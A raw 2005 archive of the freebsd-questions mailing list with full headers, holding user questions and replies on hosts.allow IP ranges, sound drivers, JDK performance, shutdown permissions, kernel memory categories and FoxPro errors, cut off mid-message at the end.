Wed Feb 9 00:39:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4BEF816A4CE for ; Wed, 9 Feb 2005 00:39:35 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id B6AFA43D2F for ; Wed, 9 Feb 2005 00:39:32 +0000 (GMT) (envelope-from dvanallen@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so987310wra for ; Tue, 08 Feb 2005 16:39:32 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=tf/rql54ziZ6ujV+m8Qw9Oaa5Op/4fsGoyvEma8Qbf12uaB8X4G36SFWNe1581wvoifxd+rIF15ZcVd5+Qrqq2AtCibABRacMEvhsxNdk/LLi60kktXa0OaMUo3at3z/VhPW/q7kp8/ulHzup4mvHNKW3wtw3VYQIbTPry6q+iM= Received: by 10.54.51.11 with SMTP id y11mr63862wry; Tue, 08 Feb 2005 16:39:32 -0800 (PST) Received: by 10.54.22.48 with HTTP; Tue, 8 Feb 2005 16:39:32 -0800 (PST) Message-ID: <2063a95c05020816396e686a4a@mail.gmail.com> Date: Tue, 8 Feb 2005 19:39:32 -0500 From: Doug Van Allen To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Valid statement in hosts.allow X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Doug Van Allen List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 00:39:35 -0000 Is this valid in hosts.allow: ALL : 151.103.xxx.xxx-151.103.xxx.xxx : allow The x's are just hiding the other part of the ip address. I need to allow a range of ip's like 192.168.0.1-192.168.64.254. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 00:44:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 706FF16A4CE for ; Wed, 9 Feb 2005 00:44:24 +0000 (GMT) Received: from mail.aseed.antenna.nl (aseed.demon.nl [83.160.138.119]) by mx1.FreeBSD.org (Postfix) with ESMTP id 17F5C43D2D for ; Wed, 9 Feb 2005 00:44:24 +0000 (GMT) (envelope-from albi@scii.nl) Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id 54E5C15439A for ; Wed, 9 Feb 2005 01:45:34 +0100 (CET) Received: from [192.168.0.111] (82-197-198-30.dsl.cambrium.nl [82.197.198.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id 7FB2437022 for ; Wed, 9 Feb 2005 01:44:26 +0100 (CET) Message-ID: <42095CDF.7060507@scii.nl> Date: Wed, 09 Feb 2005 01:44:15 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050123) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions References: <200502081911.33486.ean@hedron.org> In-Reply-To: <200502081911.33486.ean@hedron.org> X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Help to get Sound functioning on FreeBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 00:44:24 -0000 Ean Kingston wrote: > I've been having problems getting sound to work on FreeBSD 5.3. It worked find > on 4.10 (before the upgrade) using the new sound system. ----------- quote handbook ------------ If you are not sure which driver to use, you may try to load the snd_driver module: # kldload snd_driver This is a metadriver loading the most common device drivers at once. This speeds up the search for the correct driver. It is also possible to load all sound drivers via the /boot/loader.conf facility. Note: Under FreeBSD 4.X, to load all sound drivers, you have to load the snd module instead of snd_driver. A second method is to statically compile in support for your sound card in your kernel. The section below provides the information you need to add support for your hardware in this manner. For more information about recompiling your kernel, please see Chapter 8. 7.2.1.1 Configuring a Custom Kernel with Sound Support The first thing to do is adding the generic audio driver sound(4) to the kernel, for that you will need to add the following line to the kernel configuration file: device sound ------------------ end quote ------------ you followed all of that ? (just to be sure) and did you check the mixer-settings ? > Any suggestions on a simple command line tool to test the sound system out? in KDE you might encounter issues with artsd, try ctrl-alt-F2, and then e.g. ogg123 (vorbis-tools) or mpg321 are simple commandline tools to test your sound (in KDE there are some small ogg-files for certain programs already, try locate or find) HTH From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:14:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 65FBA16A4CE for ; Wed, 9 Feb 2005 01:14:03 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2441B43D3F for ; Wed, 9 Feb 2005 01:14:03 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CygQc-000HdY-73 for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 18:14:02 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <810a540e050208113841d0eb9e@mail.gmail.com> References: <8ca9329050208091625c28d07@mail.gmail.com> <810a540e050208113841d0eb9e@mail.gmail.com> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Tue, 8 Feb 2005 18:14:00 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Best JDK for performance? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:14:03 -0000 I have to hand it to the Java team. I have the latest 1.4.2 native jdk I built on 5.3R/i386 on a Dual Opteron (2 x 2.0ghz) system. I ran some simple java benchmarks. I compared that to a Gentoo Linux (2.4.x kernel) system that is a Dual Athlon Mp 2800+ (2.1ghz) running the Sun 1.4.2 jdk. The FBSD one was about 3% slower in the tests I did. That is compared to the Sun native jdk on linux. I know the HW was not the same, but it is comparable, and the java performance is comparable, and should only get better. Chad From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:24:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3112016A4CE for ; Wed, 9 Feb 2005 01:24:14 +0000 (GMT) Received: from lakermmtao09.cox.net (lakermmtao09.cox.net [68.230.240.30]) by mx1.FreeBSD.org (Postfix) with ESMTP id C46EA43D2F for ; Wed, 9 Feb 2005 01:24:08 +0000 (GMT) (envelope-from nedsmailbox2@cox.net) Received: from ip68-13-42-191.om.om.cox.net ([68.13.42.191]) by lakermmtao09.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP <20050209012406.JRQ10760.lakermmtao09.cox.net@ip68-13-42-191.om.om.cox.net> for ; Tue, 8 Feb 2005 20:24:06 -0500 From: Ned Harrison To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 19:28:49 +0000 User-Agent: KMail/1.7.2 References: <200502061646.27199.nedsmailbox2@cox.net> <200502062228.25075.mistry.7@osu.edu> In-Reply-To: <200502062228.25075.mistry.7@osu.edu> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502081928.50271.nedsmailbox2@cox.net> Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:24:14 -0000 On Monday 07 February 2005 03:28 am, you wrote: > On Sunday 06 February 2005 11:46 am, Ned Harrison wrote: > > I run FreeBSD 5.3 on my home PC in a stand alone machine as a desktop. > > Is it possible to set it up so an ordinary user can shut the system? > > I've created a couple of accounts that are not in the wheel group so I > > can give friends and house guests the chance to play on a non-Microsoft > > system. I don't want to give them root access just to shut it down. > > > > None of the books which I have discuss using FreeBSD in this way. They > > are mostly geared to setting up networks running it for businesses. > > Areas where one may not want an ordinary user to be able to shutdown the > > machine. However, I prefer having the machine off when I'm not on it. If > > it's not possible that fine I can continue working around it like I do > > now. > > The easiest way I've found to do this is assuming you have X installed and > are using a login manager ie. KDM/GDM/Login.app just use the shutdown > functionality of the login manager to shutdown the system. The most fool > proof way if you've got ACPI on this system it to just tap the power button > and it'll shutdown. This sounds like what I want. I have WDM installed and I have KDE installed. I didn't realize that function was there. I've been using a terminal login ever sense I started using FreeBSD because that how I thought it was supposed to work! I'll try to step through the setup of KDM. I found a reference to the KDE display manager in the FreeBSD handbook. It might take a few days to figure things out. But this should work. Thanks, From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:27:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E79A016A4CE for ; Wed, 9 Feb 2005 01:27:41 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8FE5643D1F for ; Wed, 9 Feb 2005 01:27:41 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id C1B5FC0C5 for ; Tue, 8 Feb 2005 20:27:43 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 20:27:42 -0500 User-Agent: KMail/1.7.1 References: <200502081911.33486.ean@hedron.org> <42095CDF.7060507@scii.nl> In-Reply-To: <42095CDF.7060507@scii.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502082027.43100.ean@hedron.org> Subject: Re: Help to get Sound functioning on FreeBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:27:42 -0000 On February 8, 2005 07:44 pm, albi wrote: > Ean Kingston wrote: > > I've been having problems getting sound to work on FreeBSD 5.3. It worked > > find on 4.10 (before the upgrade) using the new sound system. > [quote of handbook] > > you followed all of that ? (just to be sure) Yes I did follow all of that (three times now). > and did you check the mixer-settings ? but I didn't check the mixer settings. Software volume was set to 0. Thanks a lot. > > Any suggestions on a simple command line tool to test the sound system > > out? > > in KDE you might encounter issues with artsd, > try ctrl-alt-F2, and then e.g. ogg123 (vorbis-tools) or mpg321 are > simple commandline tools to test your sound (in KDE there are some > small ogg-files for certain programs already, try locate or find) Also thank you for the suggestion. I find it a lot easier to debug problems when I can fiddle with command line options instead of mucking about with GUI tools. -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:27:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9D42316A4CE for ; Wed, 9 Feb 2005 01:27:42 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id DC43943D41 for ; Wed, 9 Feb 2005 01:27:41 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so1021006rne for ; Tue, 08 Feb 2005 17:27:41 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=q+tt6B54Ns9qcMd7pMA+iib085lfW6NzRf2GVb7KcZ8dU5cwR0tMaRrCEcgHZ8C+PR3B9UnULEeazG6dSmXNhSA8oGylepcmUAYPSqzfYs9N0t1Vj/yAUNMJy+jZGfx6X3l3c/6Z88FIiSNqo66N29M7J4jzieLycfKIOh3iJDw= Received: by 10.38.59.46 with SMTP id h46mr149710rna; Tue, 08 Feb 2005 17:27:41 -0800 (PST) Received: by 10.38.74.23 with HTTP; Tue, 8 Feb 2005 17:27:41 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 02:27:41 +0100 From: Gert Cuykens To: albi In-Reply-To: <42095CDF.7060507@scii.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502081911.33486.ean@hedron.org> <42095CDF.7060507@scii.nl> cc: freebsd-questions Subject: Re: Help to get Sound functioning on FreeBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:27:42 -0000 On Wed, 09 Feb 2005 01:44:15 +0100, albi wrote: > Ean Kingston wrote: > > > I've been having problems getting sound to work on FreeBSD 5.3. It worked find > > on 4.10 (before the upgrade) using the new sound system. > > ----------- quote handbook ------------ > If you are not sure which driver to use, you may try to load the > snd_driver module: > > # kldload snd_driver > > This is a metadriver loading the most common device drivers at once. > This speeds up the search for the correct driver. It is also possible to > load all sound drivers via the /boot/loader.conf facility. > > Note: Under FreeBSD 4.X, to load all sound drivers, you have to > load the snd module instead of snd_driver. > > A second method is to statically compile in support for your sound card > in your kernel. The section below provides the information you need to > add support for your hardware in this manner. For more information about > recompiling your kernel, please see Chapter 8. > 7.2.1.1 Configuring a Custom Kernel with Sound Support > > The first thing to do is adding the generic audio driver sound(4) to the > kernel, for that you will need to add the following line to the kernel > configuration file: > > device sound > ------------------ end quote ------------ > > you followed all of that ? (just to be sure) > and did you check the mixer-settings ? > > > Any suggestions on a simple command line tool to test the sound system out? > > in KDE you might encounter issues with artsd, > try ctrl-alt-F2, and then e.g. ogg123 (vorbis-tools) or mpg321 are > simple commandline tools to test your sound (in KDE there are some > small ogg-files for certain programs already, try locate or find) > > HTH > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > did you try www.opensound.com ? Works great for me From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:31:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4DBC516A4CE for ; Wed, 9 Feb 2005 01:31:57 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id B5C4143D1D for ; Wed, 9 Feb 2005 01:31:55 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j191Vrg1033834 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 08:31:53 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j191VqAM095676; Wed, 9 Feb 2005 08:31:52 +0700 (ICT) Date: Wed, 9 Feb 2005 08:31:52 +0700 (ICT) Message-Id: <200502090131.j191VqAM095676@banyan.cs.ait.ac.th> From: Olivier Nicole To: dvanallen@gmail.com In-reply-to: <2063a95c05020816396e686a4a@mail.gmail.com> (message from Doug Van Allen on Tue, 8 Feb 2005 19:39:32 -0500) References: <2063a95c05020816396e686a4a@mail.gmail.com> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: freebsd-questions@freebsd.org Subject: Re: Valid statement in hosts.allow X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:31:57 -0000 > Is this valid in hosts.allow: >ALL : 151.103.xxx.xxx-151.103.xxx.xxx : allow Not that I know. i ue the configuration net-address/netmask would be: > allow a range of ip's like 192.168.0.1-192.168.64.254. 192.168.0.0/255.255.192.0 for the range 192.168.0.0 to 192.168.63.255 192.168.64.0/255.255.255 for the range 192.168.64.0 to 192.168.64.255 Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:33:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ED19116A4CE for ; Wed, 9 Feb 2005 01:33:26 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.195]) by mx1.FreeBSD.org (Postfix) with ESMTP id E529343D3F for ; Wed, 9 Feb 2005 01:33:23 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id b11so954259rne for ; Tue, 08 Feb 2005 17:33:23 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=ciIiZ2l3jTYv/5O2VchkPx9oF6/Zx+GhkZ/h/0alzRjwsPR+9xboyCPwegYTvf/q1S3rEOlV2/4xWjvRspdJ1Drpu4OtlOvUelFomngRHRt20PJg+Gnzzkqr71D4XtaoMsVqa48Bt0ule38oYKO9wW1a5xNYqYOyDMJm6sL/gRA= Received: by 10.38.10.78 with SMTP id 78mr114562rnj; Tue, 08 Feb 2005 17:33:23 -0800 (PST) Received: by 10.38.74.23 with HTTP; Tue, 8 Feb 2005 17:33:23 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 02:33:23 +0100 From: Gert Cuykens To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: can someone make a port of this aplication ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:33:27 -0000 can someone make a port of this aplication ? http://bloodshed.net/wired/?sid=1 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:34:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E9B3B16A4CE for ; Wed, 9 Feb 2005 01:34:47 +0000 (GMT) Received: from pi.codefab.com (pi.codefab.com [199.103.21.227]) by mx1.FreeBSD.org (Postfix) with ESMTP id A6BD643D2F for ; Wed, 9 Feb 2005 01:34:47 +0000 (GMT) (envelope-from cswiger@mac.com) Received: from localhost (localhost [127.0.0.1]) by pi.codefab.com (Postfix) with ESMTP id E1A825EAE; Tue, 8 Feb 2005 20:34:46 -0500 (EST) Received: from pi.codefab.com ([127.0.0.1]) by localhost (pi.codefab.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30984-03; Tue, 8 Feb 2005 20:34:46 -0500 (EST) Received: from [192.168.1.3] (pool-68-161-50-112.ny325.east.verizon.net [68.161.50.112]) by pi.codefab.com (Postfix) with ESMTP id B5B695E47; Tue, 8 Feb 2005 20:34:44 -0500 (EST) Message-ID: <420968B2.4090208@mac.com> Date: Tue, 08 Feb 2005 20:34:42 -0500 From: Chuck Swiger Organization: The Courts of Chaos User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Erik Trulsson References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> <810a540e050208134479b4e774@mail.gmail.com> <20050208222759.GA29360@falcon.midgard.homeip.net> <4209435E.5080302@mac.com> <20050209000919.GA56002@falcon.midgard.homeip.net> In-Reply-To: <20050209000919.GA56002@falcon.midgard.homeip.net> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at codefab.com cc: freebsd-questions@freebsd.org Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:34:48 -0000 Erik Trulsson wrote: > On Tue, Feb 08, 2005 at 05:55:26PM -0500, Chuck Swiger wrote: >>Wired memory is typically the kernel text (executable code), any kernel >>modules which have been loaded, and dynamic kernel memory used for critical >>structures like the process table, descriptor table, VM page tables, which >>tend to be staticly allocated. The pager never touches these, they are >>always resident in RAM. > > Considering that the amount of memory in the "Wired" state tends to > vary quite a bit as the system runs it is certainly not all statically > allocated. Sure, wired memory isn't fixed in size, it changes in response to load and to loading or unloading kernel modules. It used to be the case that many kernel structures were fixed in size, they are become more flexible and more self-tuning over time as people improve things. [ ... ] >>More dynamic kernel data structures like the I/O buffer used for disk >>access, network buffers, and the like are also wired down, but the system >>will adjust the size and flush pages of data from open files and the like >>to disk depending on the situation. That pool of memory is the Cached >>category. > > No, that is not Cached memory. It might be "Buffered", but I am not > sure exactly what goes in that category (it is however the only > category whose size do not fluctuate as time passes.) I could be wrong, too, I suppose. :-) One of the problems is that people use certain terms to talk about different types of memory, and it doesn't do you much good if your understanding of terms doesn't match what the code is actually doing. -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:35:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A912A16A4CE for ; Wed, 9 Feb 2005 01:35:57 +0000 (GMT) Received: from wonkity.com (wonkity.com [67.158.26.137]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3388B43D31 for ; Wed, 9 Feb 2005 01:35:57 +0000 (GMT) (envelope-from wblock@wonkity.com) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.13.1/8.13.1) with ESMTP id j191ZrYh086436; Tue, 8 Feb 2005 18:35:53 -0700 (MST) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.13.1/8.13.1/Submit) with ESMTP id j191Zr9D086433; Tue, 8 Feb 2005 18:35:53 -0700 (MST) (envelope-from wblock@wonkity.com) Date: Tue, 8 Feb 2005 18:35:53 -0700 (MST) From: Warren Block To: Dante Reyes In-Reply-To: <20050208192555.00E50106D73@mail.eaznet.com> Message-ID: <20050208183441.F86363@wonkity.com> References: <20050208192555.00E50106D73@mail.eaznet.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-925102300-1107912953=:86363" X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (wonkity.com [127.0.0.1]); Tue, 08 Feb 2005 18:35:53 -0700 (MST) cc: freebsd-questions@freebsd.org Subject: Re: help with foxpro and FreeBSD 4.5 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:35:57 -0000 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --0-925102300-1107912953=:86363 Content-Type: TEXT/PLAIN; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: QUOTED-PRINTABLE On Tue, 8 Feb 2005, Dante Reyes wrote: > I am currently trying to install FoxPro 2.6 for unix onto FreeBSD 4.5.=A0 > However, any time I try to run FoxPro, I get the message "Too many files > open."=A0 After doing some research, it does not appear a file handling > problem. > > Does anyone have any insight into this? I haven't done that myself, but remember this article that may be=20 helpful to you: http://www.freebsdforums.org/forums/showthread.php?s=3D&threadid=3D26277 -Warren Block * Rapid City, South Dakota USA --0-925102300-1107912953=:86363-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 01:50:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3913716A4CE for ; Wed, 9 Feb 2005 01:50:27 +0000 (GMT) Received: from mail.monochrome.org (b4.ebbed1.client.atlantech.net [209.190.235.180]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5446043D31 for ; Wed, 9 Feb 2005 01:50:26 +0000 (GMT) (envelope-from chris@monochrome.org) Received: from frambozen (frambozen [192.168.1.9]) by mail.monochrome.org (8.9.3/8.9.3) with ESMTP id UAA58949; Tue, 8 Feb 2005 20:50:10 -0500 (EST) (envelope-from chris@monochrome.org) Date: Tue, 8 Feb 2005 20:50:41 -0500 (EST) From: Chris Hill To: Ted Mittelstaedt In-Reply-To: Message-ID: <20050208204444.C28429@frambozen.monochrome.org> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed cc: freebsd-questions@freebsd.org cc: "Chad Leigh -- Shire.Net LLC" Subject: RE: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 01:50:27 -0000 On Tue, 8 Feb 2005, Ted Mittelstaedt wrote: >> -----Original Message----- >> From: owner-freebsd-questions@freebsd.org >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chad Leigh -- >> Shire.Net LLC >> Sent: Monday, February 07, 2005 8:29 PM >> To: freebsd-questions@freebsd.org >> Subject: Re: Electricity bill - OT > >> Also, the new tankless HW heaters look interesting... > > those have been around for at least 20 years. We had one when I was in high school 30 years ago. > As most of them are electric, not natural gas, This was oil-fired, being New England. > your going to pay more money for heating water with a bunch of those > than with a central gas water heater. As with any technical question, the true answer is "it depends". I hear hot water is pretty reasonably priced in Iceland. -- Chris Hill chris@monochrome.org ** [ Busy Expunging <|> ] From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 02:06:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B64F316A4CE for ; Wed, 9 Feb 2005 02:06:46 +0000 (GMT) Received: from smtphost.cis.strath.ac.uk (smtphost.cis.strath.ac.uk [130.159.196.96]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0C18343D3F for ; Wed, 9 Feb 2005 02:06:46 +0000 (GMT) (envelope-from chodgins@cis.strath.ac.uk) Received: from [192.168.0.4] (chrishodgins.force9.co.uk [84.92.20.141]) j1926Z5L023263; Wed, 9 Feb 2005 02:06:36 GMT Message-ID: <4209714D.6030703@cis.strath.ac.uk> Date: Wed, 09 Feb 2005 02:11:25 +0000 From: Chris Hodgins User-Agent: Mozilla Thunderbird 1.0 (X11/20050204) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ean Kingston References: <200502081911.33486.ean@hedron.org> <42095CDF.7060507@scii.nl> <200502082027.43100.ean@hedron.org> In-Reply-To: <200502082027.43100.ean@hedron.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-CIS-MailScanner-Information: Please contact support@cis.strath.ac.uk for more information X-CIS-MailScanner: Found to be clean X-CIS-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 6) X-CIS-MailScanner-From: chodgins@cis.strath.ac.uk cc: freebsd-questions@freebsd.org Subject: Re: Help to get Sound functioning on FreeBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 02:06:47 -0000 Ean Kingston wrote: > On 